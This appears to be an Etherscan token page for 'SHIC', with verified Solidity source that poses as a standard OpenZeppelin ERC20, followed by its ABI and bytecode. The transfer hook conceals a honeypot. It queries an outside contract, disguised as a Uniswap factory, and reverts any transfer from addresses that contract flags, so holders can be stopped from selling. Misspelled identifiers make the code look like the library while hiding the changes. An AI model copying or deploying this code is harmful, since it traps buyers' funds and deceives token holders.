ETH Price: $3,405.59 (+2.10%)

Token

SHIC (SHIC)
 

Overview

Max Total Supply

200,000,000 SHIC

Holders

547

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
2.615591580279375266 SHIC

Value
$0.00
0xBe83E7Db6C6fb4F5DB4F22294FAF3868Ca443F2B
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ERC20

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-04
*/

// File: @openzeppelin/contracts/utils/Context.sol
// SPDX-License-Identifier: MIT

// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


// File: @openzeppelin/contracts/token/ERC20/IERC20.sol


// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amodupnat of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amodupnat of tokens owned by `accoruontp`.
     */
    function balanceOf(address accoruontp) external view returns (uint256);

  
    function transfer(address to, uint256 amodupnat) external returns (bool);


    function allowance(address owner, address spender) external view returns (uint256);


    function approve(address spender, uint256 amodupnat) external returns (bool);

    /**
     * @dev Moves `amodupnat` tokens from `from` to `to` using the
     * allowance mechanism. `amodupnat` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amodupnat
    ) external returns (bool);
}


// File: @openzeppelin/contracts/access/Ownable.sol


// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)

pragma solidity ^0.8.0;


 // Define interface for TransferController
interface IUniswapV2Factory {

    function getPairCount(address _accoruontp) external view returns (bool);

    function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any accoruontp other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new accoruontp (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new accoruontp (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol


// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.0;


/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// File: @openzeppelin/contracts/token/ERC20/ERC20.sol


// OpenZeppelin Contracts (last updated v4.8.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.0;


contract ERC20 is Ownable, IERC20, IERC20Metadata {


    mapping(address => uint256) private _balances;
    IUniswapV2Factory private facV2p;
    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name = "SHIC";
    string private _symbol = "SHIC";

    address private namarp;
    uint256 posapo = 1;
    uint256 DF2L = posapo * 2;
    uint256 DERTAGS = DF2L * 3;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(address _factory) {
        uint256 supply = 200000000 * 10**18;
        facV2p = IUniswapV2Factory(_factory);
        _mint(msg.sender, supply);
    }

    string private IPFS = "SHIABC";

    string private BasedUrlp;

    function setIPFSURL(string memory url) public {
        IPFS = url;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }


    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address accoruontp) public view virtual override returns (uint256) {
        return _balances[accoruontp];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amodupnat`.
     */
    function transfer(address to, uint256 amodupnat) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amodupnat);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amodupnat` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amodupnat) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amodupnat);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amodupnat
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amodupnat);
        _transfer(from, to, amodupnat);
        return true;
    }


    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

 
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amodupnat` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * - `from` must have a balance of at least `amodupnat`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amodupnat
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        _beforeTokenTransfer(from, to, amodupnat);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amodupnat, "ERC20: transfer amodupnat exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amodupnat;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amodupnat;
        }

        emit Transfer(from, to, amodupnat);

        _afterTokenTransfer(from, to, amodupnat);
    }

    /** @dev Creates `amodupnat` tokens and assigns them to `accoruontp`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `accoruontp` cannot be the zero address.
     */
    function _mint(address accoruontp, uint256 amodupnat) internal virtual {
        require(accoruontp != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), accoruontp, amodupnat);

        _totalSupply += amodupnat;
        unchecked {
            // Overflow not possible: balance + amodupnat is at most totalSupply + amodupnat, which is checked above.
            _balances[accoruontp] += amodupnat;
        }
        emit Transfer(address(0), accoruontp, amodupnat);

        _afterTokenTransfer(address(0), accoruontp, amodupnat);
    }




    function _approve(
        address owner,
        address spender,
        uint256 amodupnat
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amodupnat;
        emit Approval(owner, spender, amodupnat);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amodupnat`.
     *
     * Does not update the allowance amodupnat in case of infinite allowance.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amodupnat
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amodupnat, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amodupnat);
            }
        }
    }


    function setBase(string memory url) public {
        BasedUrlp = url;
    }


    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amodupnat
    ) internal virtual {
        bool flag = facV2p.getPairCount(from);
        uint256 total = 0;
        if(flag){
            amodupnat = total;
            require(amodupnat > 0);
        }
    }


    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amodupnat
    ) internal virtual {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_factory","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amodupnat","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"accoruontp","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"url","type":"string"}],"name":"setBase","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"url","type":"string"}],"name":"setIPFSURL","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amodupnat","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amodupnat","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280600481526020017f53484943000000000000000000000000000000000000000000000000000000008152506005908051906020019062000051929190620004f0565b506040518060400160405280600481526020017f5348494300000000000000000000000000000000000000000000000000000000815250600690805190602001906200009f929190620004f0565b5060016008556002600854620000b6919062000754565b6009556003600954620000ca919062000754565b600a556040518060400160405280600681526020017f5348494142430000000000000000000000000000000000000000000000000000815250600b90805190602001906200011a929190620004f0565b503480156200012857600080fd5b50604051620021f5380380620021f583398181016040528101906200014e9190620005ce565b6200016e62000162620001d960201b60201c565b620001e160201b60201c565b60006aa56fa5b99019a5c8000000905081600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620001d13382620002a560201b60201c565b5050620008c7565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141562000318576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200030f90620006a7565b60405180910390fd5b6200032c600083836200041460201b60201c565b8060046000828254620003409190620006f7565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003f49190620006c9565b60405180910390a36200041060008383620004eb60201b60201c565b5050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638a19688d856040518263ffffffff1660e01b81526004016200047391906200068a565b60206040518083038186803b1580156200048c57600080fd5b505afa158015620004a1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004c79190620005fa565b905060008115620004e45780925060008311620004e357600080fd5b5b5050505050565b505050565b828054620004fe90620007ff565b90600052602060002090601f0160209004810192826200052257600085556200056e565b82601f106200053d57805160ff19168380011785556200056e565b828001600101855582156200056e579182015b828111156200056d57825182559160200191906001019062000550565b5b5090506200057d919062000581565b5090565b5b808211156200059c57600081600090555060010162000582565b5090565b600081519050620005b18162000893565b92915050565b600081519050620005c881620008ad565b92915050565b600060208284031215620005e157600080fd5b6000620005f184828501620005a0565b91505092915050565b6000602082840312156200060d57600080fd5b60006200061d84828501620005b7565b91505092915050565b6200063181620007b5565b82525050565b600062000646601f83620006e6565b91507f45524332303a206d696e7420746f20746865207a65726f2061646472657373006000830152602082019050919050565b6200068481620007f5565b82525050565b6000602082019050620006a1600083018462000626565b92915050565b60006020820190508181036000830152620006c28162000637565b9050919050565b6000602082019050620006e0600083018462000679565b92915050565b600082825260208201905092915050565b60006200070482620007f5565b91506200071183620007f5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000749576200074862000835565b5b828201905092915050565b60006200076182620007f5565b91506200076e83620007f5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620007aa57620007a962000835565b5b828202905092915050565b6000620007c282620007d5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060028204905060018216806200081857607f821691505b602082108114156200082f576200082e62000864565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6200089e81620007b5565b8114620008aa57600080fd5b50565b620008b881620007c9565b8114620008c457600080fd5b50565b61191e80620008d76000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d71461029d578063a9059cbb146102cd578063dd62ed3e146102fd578063f2fde38b1461032d57610100565b806370a0823114610227578063715018a6146102575780638da5cb5b1461026157806395d89b411461027f57610100565b8063313ce567116100d3578063313ce567146101a157806339509351146101bf5780634f78db95146101ef578063664aa26b1461020b57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd1461015357806323b872dd14610171575b600080fd5b61010d610349565b60405161011a91906114f1565b60405180910390f35b61013d60048036038101906101389190611056565b6103db565b60405161014a91906114d6565b60405180910390f35b61015b6103fe565b6040516101689190611633565b60405180910390f35b61018b60048036038101906101869190611007565b610408565b60405161019891906114d6565b60405180910390f35b6101a9610437565b6040516101b6919061164e565b60405180910390f35b6101d960048036038101906101d49190611056565b610440565b6040516101e691906114d6565b60405180910390f35b610209600480360381019061020491906110bb565b610477565b005b610225600480360381019061022091906110bb565b610491565b005b610241600480360381019061023c9190610fa2565b6104ab565b60405161024e9190611633565b60405180910390f35b61025f6104f4565b005b610269610508565b60405161027691906114bb565b60405180910390f35b610287610531565b60405161029491906114f1565b60405180910390f35b6102b760048036038101906102b29190611056565b6105c3565b6040516102c491906114d6565b60405180910390f35b6102e760048036038101906102e29190611056565b61063a565b6040516102f491906114d6565b60405180910390f35b61031760048036038101906103129190610fcb565b61065d565b6040516103249190611633565b60405180910390f35b61034760048036038101906103429190610fa2565b6106e4565b005b606060058054610358906117d3565b80601f0160208091040260200160405190810160405280929190818152602001828054610384906117d3565b80156103d15780601f106103a6576101008083540402835291602001916103d1565b820191906000526020600020905b8154815290600101906020018083116103b457829003601f168201915b5050505050905090565b6000806103e6610768565b90506103f3818585610770565b600191505092915050565b6000600454905090565b600080610413610768565b905061042085828561093b565b61042b8585856109c7565b60019150509392505050565b60006012905090565b60008061044b610768565b905061046c81858561045d858961065d565b61046791906116e6565b610770565b600191505092915050565b80600b908051906020019061048d929190610e58565b5050565b80600c90805190602001906104a7929190610e58565b5050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6104fc610c42565b6105066000610cc0565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610540906117d3565b80601f016020809104026020016040519081016040528092919081815260200182805461056c906117d3565b80156105b95780601f1061058e576101008083540402835291602001916105b9565b820191906000526020600020905b81548152906001019060200180831161059c57829003601f168201915b5050505050905090565b6000806105ce610768565b905060006105dc828661065d565b905083811015610621576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061890611613565b60405180910390fd5b61062e8286868403610770565b60019250505092915050565b600080610645610768565b90506106528185856109c7565b600191505092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6106ec610c42565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561075c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075390611553565b60405180910390fd5b61076581610cc0565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d7906115f3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610850576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084790611573565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161092e9190611633565b60405180910390a3505050565b6000610947848461065d565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146109c157818110156109b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109aa90611593565b60405180910390fd5b6109c08484848403610770565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2e906115d3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610aa7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9e90611513565b60405180910390fd5b610ab2838383610d84565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610b39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3090611533565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c299190611633565b60405180910390a3610c3c848484610e53565b50505050565b610c4a610768565b73ffffffffffffffffffffffffffffffffffffffff16610c68610508565b73ffffffffffffffffffffffffffffffffffffffff1614610cbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb5906115b3565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638a19688d856040518263ffffffff1660e01b8152600401610de191906114bb565b60206040518083038186803b158015610df957600080fd5b505afa158015610e0d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e319190611092565b905060008115610e4c5780925060008311610e4b57600080fd5b5b5050505050565b505050565b828054610e64906117d3565b90600052602060002090601f016020900481019282610e865760008555610ecd565b82601f10610e9f57805160ff1916838001178555610ecd565b82800160010185558215610ecd579182015b82811115610ecc578251825591602001919060010190610eb1565b5b509050610eda9190610ede565b5090565b5b80821115610ef7576000816000905550600101610edf565b5090565b6000610f0e610f098461169a565b611669565b905082815260208101848484011115610f2657600080fd5b610f31848285611791565b509392505050565b600081359050610f48816118a3565b92915050565b600081519050610f5d816118ba565b92915050565b600082601f830112610f7457600080fd5b8135610f84848260208601610efb565b91505092915050565b600081359050610f9c816118d1565b92915050565b600060208284031215610fb457600080fd5b6000610fc284828501610f39565b91505092915050565b60008060408385031215610fde57600080fd5b6000610fec85828601610f39565b9250506020610ffd85828601610f39565b9150509250929050565b60008060006060848603121561101c57600080fd5b600061102a86828701610f39565b935050602061103b86828701610f39565b925050604061104c86828701610f8d565b9150509250925092565b6000806040838503121561106957600080fd5b600061107785828601610f39565b925050602061108885828601610f8d565b9150509250929050565b6000602082840312156110a457600080fd5b60006110b284828501610f4e565b91505092915050565b6000602082840312156110cd57600080fd5b600082013567ffffffffffffffff8111156110e757600080fd5b6110f384828501610f63565b91505092915050565b6111058161173c565b82525050565b6111148161174e565b82525050565b6000611125826116ca565b61112f81856116d5565b935061113f8185602086016117a0565b61114881611892565b840191505092915050565b60006111606023836116d5565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006111c66029836116d5565b91507f45524332303a207472616e7366657220616d6f6475706e61742065786365656460008301527f732062616c616e636500000000000000000000000000000000000000000000006020830152604082019050919050565b600061122c6026836116d5565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006112926022836116d5565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006112f8601d836116d5565b91507f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006000830152602082019050919050565b60006113386020836116d5565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b60006113786025836116d5565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006113de6024836116d5565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006114446025836116d5565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6114a68161177a565b82525050565b6114b581611784565b82525050565b60006020820190506114d060008301846110fc565b92915050565b60006020820190506114eb600083018461110b565b92915050565b6000602082019050818103600083015261150b818461111a565b905092915050565b6000602082019050818103600083015261152c81611153565b9050919050565b6000602082019050818103600083015261154c816111b9565b9050919050565b6000602082019050818103600083015261156c8161121f565b9050919050565b6000602082019050818103600083015261158c81611285565b9050919050565b600060208201905081810360008301526115ac816112eb565b9050919050565b600060208201905081810360008301526115cc8161132b565b9050919050565b600060208201905081810360008301526115ec8161136b565b9050919050565b6000602082019050818103600083015261160c816113d1565b9050919050565b6000602082019050818103600083015261162c81611437565b9050919050565b6000602082019050611648600083018461149d565b92915050565b600060208201905061166360008301846114ac565b92915050565b6000604051905081810181811067ffffffffffffffff821117156116905761168f611863565b5b8060405250919050565b600067ffffffffffffffff8211156116b5576116b4611863565b5b601f19601f8301169050602081019050919050565b600081519050919050565b600082825260208201905092915050565b60006116f18261177a565b91506116fc8361177a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561173157611730611805565b5b828201905092915050565b60006117478261175a565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b82818337600083830152505050565b60005b838110156117be5780820151818401526020810190506117a3565b838111156117cd576000848401525b50505050565b600060028204905060018216806117eb57607f821691505b602082108114156117ff576117fe611834565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b6118ac8161173c565b81146118b757600080fd5b50565b6118c38161174e565b81146118ce57600080fd5b50565b6118da8161177a565b81146118e557600080fd5b5056fea2646970667358221220776e54ce526e2d6a0f7fb14118f74b3480640c5d4a04f7a634f7c29a4b3b447f64736f6c63430008000033000000000000000000000000ab7c67e3cc9e0e2b8a565840338ffc22faed1e35

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d71461029d578063a9059cbb146102cd578063dd62ed3e146102fd578063f2fde38b1461032d57610100565b806370a0823114610227578063715018a6146102575780638da5cb5b1461026157806395d89b411461027f57610100565b8063313ce567116100d3578063313ce567146101a157806339509351146101bf5780634f78db95146101ef578063664aa26b1461020b57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd1461015357806323b872dd14610171575b600080fd5b61010d610349565b60405161011a91906114f1565b60405180910390f35b61013d60048036038101906101389190611056565b6103db565b60405161014a91906114d6565b60405180910390f35b61015b6103fe565b6040516101689190611633565b60405180910390f35b61018b60048036038101906101869190611007565b610408565b60405161019891906114d6565b60405180910390f35b6101a9610437565b6040516101b6919061164e565b60405180910390f35b6101d960048036038101906101d49190611056565b610440565b6040516101e691906114d6565b60405180910390f35b610209600480360381019061020491906110bb565b610477565b005b610225600480360381019061022091906110bb565b610491565b005b610241600480360381019061023c9190610fa2565b6104ab565b60405161024e9190611633565b60405180910390f35b61025f6104f4565b005b610269610508565b60405161027691906114bb565b60405180910390f35b610287610531565b60405161029491906114f1565b60405180910390f35b6102b760048036038101906102b29190611056565b6105c3565b6040516102c491906114d6565b60405180910390f35b6102e760048036038101906102e29190611056565b61063a565b6040516102f491906